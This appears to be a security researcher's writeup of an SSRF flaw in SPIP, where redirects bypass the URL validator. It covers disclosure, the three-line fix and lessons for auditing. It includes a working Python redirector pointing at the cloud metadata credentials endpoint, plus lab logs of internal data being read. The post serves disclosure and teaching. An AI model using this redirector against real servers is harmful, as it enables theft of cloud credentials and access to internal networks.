CVE-2026-109378 - SPIP built a perfect SSRF shield, then forgot to use it
Most vulnerability writeups go the same way. Someone forgot to check something, here is the check they forgot, please add it.
This one is different, and that is why I kept poking at it. SPIP wrote the check. It is thorough. It blocks private IPs, link-local addresses, DNS rebinding, credentials stuffed into URLs. It is the kind of function you would happily copy into your own project.
Then a redirect comes along and nobody calls it.
CVE-2026-109378 - CVSS 4.0 5.3 (Medium), CWE-918. Affects SPIP before 4.4.18. Reported 2026-08-05, fixed in 4.4.18. This is my second CVE, found the same afternoon as the SQL injection.
Who this post is for
You do not need to know SPIP. You barely need to know PHP.
If you have never run into SSRF before, here is the thirty second version. Your server fetches a URL that a user handed it: an RSS feed, an avatar, a webhook. Perfectly reasonable feature. The catch is that your server sits somewhere a stranger on the internet does not, which is inside your network. It can reach 10.0.0.5. It can reach 127.0.0.1. On a cloud VM it can reach 169.254.169.254, a magic address that hands out the instance’s credentials to anything polite enough to ask.
So when a user says “please fetch this URL for me”, you are lending them your server’s position on the network. SSRF is tricking a server into making a request it should never have made.
The defence is easy to describe: before fetching, look at where the URL points, and refuse if it points somewhere internal.
SPIP does exactly that. Keep reading.
Step 1 - The shield, and it is a good one
valider_url_distante() is SPIP’s SSRF guard, and I want to spend a moment on it, because the whole story depends on it being good.
Source: ecrire/inc/distant.php. Every one of these is correctly refused.
| Check | What it stops |
|---|---|
| Scheme whitelist | only http and https, so no file://, gopher://, dict:// |
| Private ranges | 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 |
| Link local | 169.254.0.0/16, the cloud metadata range |
| Reserved ranges | 0.0.0.0/8 and friends |
| DNS rebinding | rejects hostnames whose DNS TTL is under 10 seconds |
| Credential URLs | blocks http://user:pass@host/ |
It resolves DNS before checking rather than trusting the hostname. It uses PHP’s FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE. It even has anti-rebinding logic, which plenty of real projects skip entirely.
If you sat down today and wrote SSRF protection from scratch, you would land somewhere very close to this.
Remember that. Every check in this function is correct.
Step 2 - The shield guards the front door only
Here is the part that took me a minute to believe.
SPIP fetches URLs through a single function, recuperer_url(). Callers validate the URL first, then hand it over. So far so good.
But recuperer_url() also follows redirects, up to ten of them. And when it follows one, the URL changes. The thing that was validated is gone, replaced by whatever the remote server decided to put in its Location header.
ecrire/inc/distant.php:567-582. Line 571 swaps the URL, line 582 fetches it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
} elseif ($res['location'] and $options['follow_location']) {
$options['follow_location']--;
fclose($handle);
include_spip('inc/filtres');
$url = suivre_lien($url, $res['location']); // 571: now attacker-controlled
// une redirection doit se faire en GET, sauf status explicite 307 ou 308
if ($options['methode'] !== 'GET') {
if (empty($res['status']) or !in_array($res['status'], [307, 308])) {
$options['methode'] = 'GET';
$options['datas'] = '';
}
}
spip_log('recuperer_url recommence ...', 'distant' . _LOG_DEBUG);
return recuperer_url($url, $options); // 582: fetch it
}
Line 571 replaces $url with the redirect target. Line 582 fetches it.
Between those two lines there is a method adjustment for 301 versus 307, and a log call. That is all. No valider_url_distante(). Not on the first hop, not on the tenth.
I went looking for it three separate times, because I assumed I had simply missed it.
The caller’s validation was real, and it was also the only one. The moment a redirect rewrites the target, every guarantee that validation gave you evaporates, and the code carries on as if nothing happened.
Step 3 - The attack, one hop at a time
The exploit is almost rude in how little it asks of you. You need a web server that answers with a 302.
1
2
3
4
5
6
7
8
9
10
11
# the entire offensive capability
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location',
'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
self.end_headers()
HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
Then you hand SPIP your URL. The easiest way in is the syndication feature: log in with any editor or admin account, add a syndicated site, paste https://your-server.com/feed.
One 302 is the entire exploit.
SPIP validates that URL. Public IP, HTTPS, sensible DNS TTL. It passes, and it should pass, because at that moment it really is a harmless external URL.
Then SPIP fetches it, receives the 302, swaps in 169.254.169.254, and fetches that too. The metadata service has no idea anything strange is happening. It was asked for credentials by something inside the VM, so it hands them over. That is its entire job.
1
2
3
4
5
6
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "FwoGZX...",
"Expiration": "2026-10-20T12:00:00Z"
}
SPIP stores the response as feed content.
And then, because this is a syndicated feed, the cron re-fetches it on a schedule. Change the redirect target whenever you feel like it and SPIP will keep going places on your behalf, indefinitely, without you ever touching the admin interface again.
Step 4 - Proving it on a real install
Talk is cheap, so I built an isolated SPIP 4.4.16 lab and ran the real functions against it. No mocking, no hand-waving.
The full proof. The shield refuses seven URLs, then hands over the contents of one of them.
Start with the attacker’s side. This is the entire offensive payload, one 302 whose Location header points somewhere the shield would never allow:
That is the whole exploit. A redirect to an address in a blocked range.
Then the proof that SPIP followed it. This is the internal service’s own access log, which had been empty a second earlier:
1
2
3
[Sun Oct 25 01:16:27 2026] 192.168.16.3:40746 Accepted
[Sun Oct 25 01:16:27 2026] 192.168.16.3:40746 [200]: GET /secret.txt
[Sun Oct 25 01:16:27 2026] 192.168.16.3:40746 Closing
SPIP connected to a host it had explicitly refused to touch, and read a file off it.
The full run:
- Confirm the shield works.
valider_url_distante()refuses all seven hostile URLs, includinghttp://169.254.169.254/and an internal HTTP service sitting athttp://192.168.16.3:9001/secret.txton the lab network. - Go around it. Same internal URL, this time reached through a single 302 from a redirector.
1
2
3
4
recuperer_url() followed the redirect into the blocked range
and handed back the content:
INTERNAL-SERVICE-SECRET-7f3a9c2e
That string only exists on a host the shield had refused to touch about four lines of output earlier.
On a cloud instance the chain does not stop at one internal host. The natural next hop is the metadata endpoint that section 1 just finished blocking, and the redirect handler will fetch it without ever asking.
This is not a bug in one feature
Worth being clear about the blast radius. The bug is not in syndication. It is in the HTTP client that everything shares.
| Feature | Who triggers it | What comes back |
|---|---|---|
| RSS / Atom syndication | admin adds a feed | internal response, re-fetched by cron forever |
| Remote document | editor attaches a URL | internal data stored as a document |
copier_local() | templates fetching remote assets | cached file holds the SSRF response |
| CSS and HTML filters | @import and <link> in fetched pages | stylesheets from internal hosts |
| Any plugin | anything calling recuperer_url() | whatever that plugin does with it |
Fix the client, fix all of them. Which is exactly what happened, and it took three lines.
The fix
1
2
3
4
5
6
7
8
9
$url = suivre_lien($url, $res['location']);
// SSRF protection: the target just changed, so validate it again
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
No new logic. No new function. No clever parsing. Call the thing that already exists, in the one place it was missing.
SPIP 4.4.18 ships this fix. If you run SPIP, go update.
What I took away from this
Validating at the gate is not validating. The check and the dangerous operation lived in different functions, and the value changed in between. Time of check, time of use, except the thing that changed was not a file, it was a security property.
A redirect is an invisible assignment. $url = <whatever the remote server says>. Written out like that, nobody would leave it unvalidated. Written as “follow the redirect”, it looks like plumbing.
Good code that is never called is decoration. This is the part that stuck with me. valider_url_distante() is better than most SSRF guards I have read, and for every redirect SPIP ever followed it may as well not have existed. When you audit, do not ask “is there a check”. Ask “is it on every path that reaches the dangerous thing”.
Audit the plumbing, not the faucets. I did not find this by staring at the syndication feature. I found it by reading the HTTP client that syndication, media, templates and every plugin all call. One bug there is one bug per caller.
Timeline
| Date | Event |
|---|---|
| 2026-08-05 | Found during a source audit of SPIP 4.4.16, same session as the SQLi |
| 2026-08-05 | Reported to securite@spip.net |
| 2026-08-10 | SPIP 4.4.18 released with the fix |
| 2026-10-12 | CVE-2026-109378 reserved and published |
| 2026-10-13 | CISA SSVC assessment added |
References
- NVD: CVE-2026-109378
- VulnCheck advisory
- SPIP 4.4.18 security release
- GitHub advisory GHSA-8gmq-ghhj-j4rh
- Ubuntu security notice
Responsible disclosure throughout. SPIP’s security team was notified before anything was made public, and 4.4.18 was out before this post existed. If you run SPIP, go update it.


